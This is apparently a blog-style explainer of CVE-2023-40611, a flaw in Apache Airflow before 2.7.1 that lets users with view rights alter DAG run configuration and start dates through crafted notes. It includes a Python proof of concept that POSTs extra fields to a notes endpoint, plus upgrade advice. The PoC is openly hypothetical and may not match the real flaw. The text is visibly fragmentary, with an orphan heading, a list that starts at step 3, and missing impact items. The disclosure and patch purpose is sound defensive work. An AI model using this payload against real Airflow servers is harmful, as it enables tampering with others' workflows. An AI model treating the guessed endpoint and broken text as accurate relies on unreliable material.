CVE-2023-40611 - How Authenticated Users Could Tamper with DAG Run Details in Apache Airflow <2.7.1
Apache Airflow is a popular open-source platform for workflow orchestration. It’s used by data engineers and teams across many industries for automation and scheduling. But if you're running a version older than 2.7.1, there’s a vulnerability that could seriously jeopardize the integrity of your workflows. Let's break down what happened with CVE-2023-40611, see how it works, dig into exploit details, and show how to patch your system.
What is CVE-2023-40611?
CVE-2023-40611 affects versions of Apache Airflow released before 2.7.1. The vulnerability lets *authenticated users* who also have permission to view DAGs (Directed Acyclic Graphs—the workflows in Airflow) modify certain details of a DAG run by submitting crafted notes.
Other run-specific metadata
In essence, an attacker already inside your Airflow webserver (but maybe not supposed to modify certain workflows) could change the behavior and records of your scheduled data jobs.
How Does the Vulnerability Work?
The bug lives in how Airflow handled notes submitted by users in the DAG run views. Older versions allowed not just text for notes, but also provided a way—probably unintentionally—for users to sneak in extra data. This data could be interpreted by Airflow and change details about that run.
They navigate to a DAG and select a run for which they have "view" rights (not edit!).
3. While submitting a note (like a comment for that run), they submit more than just standard text—they include extra parameters in the note's payload.
4. Airflow's backend did not properly validate and sanitized these incoming fields, so it applied them as if they were normal DAG run metadata.
Example Code Snippet: Sending a Malicious "Note"
A minimal example: Let’s pretend the backend accepts JSON data for a note. The attacker crafts a POST request to the Airflow webserver's note endpoint, but adds extra keys:
import requests
session = requests.Session()
# Assume the user is authenticated, e.g., via previous login.
dag_id = "example"
run_id = "scheduled__2023-07-01T00:00:00+00:00"
url = f"https://airflow.example.com/api/v1/dags/{dag_id}/dagRuns/{run_id}/notes";
# Real note should just be: {"note": "This run completed successfully."}
# Malicious note tries to override 'conf' and 'start_date'
payload = {
"note": "This run completed successfully.",
"conf": {"do_something_dangerous": True},
"start_date": "2099-01-01T00:00:00+00:00"
}
headers = {'Content-Type': 'application/json'}
resp = session.post(url, json=payload, headers=headers)
if resp.ok:
print("Note (and possible tampering) sent!")
else:
print("Did not succeed:", resp.text)
With the above request, if the vulnerability is present, the DAG Run's configuration is altered, and the start date might also be changed.
Warning: Do NOT try this except in a sandbox or test system you own.
Audit failures: Attackers may alter records of "when" things ran, creating confusion.
- Escalation possibilities: If DAGs respect configuration parameters for access or resource control, users could grant themselves unexpected privileges.
Fix: Upgrade Airflow
The official fix is simply to upgrade to version 2.7.1 or later. In this release, the developers removed the ability for notes to contain any extra fields beyond simple text. Any unexpected fields submitted through the note API or web UI will be ignored or rejected.
> Download new releases and changelogs here:
> https://github.com/apache/airflow/releases
If you cannot upgrade immediately, disable or restrict note submission as much as possible for non-admins. Also, review your DAG permissions and monitor metadata changes in your database for suspicious activities.
References
- Apache Airflow Security Advisory: CVE-2023-40611
- Official Patch & Release Notes
- CVE Entry at NIST NVD
Summary
- CVE-2023-40611 hits Airflow <2.7.1; lets authenticated, DAG-view authorized users tamper with DAG run details (like configuration, start date) by sneaking extra data into the note field.
Attackers must have an account, but often in big organizations, such rights are widely given.
- Upgrade to 2.7.1+ immediately. No code fix is safe enough: *the problem is deep in Airflow’s note submission backend*.
Timeline
Published on: 09/12/2023 12:15:08 UTC
Last modified on: 11/12/2023 15:15:07 UTC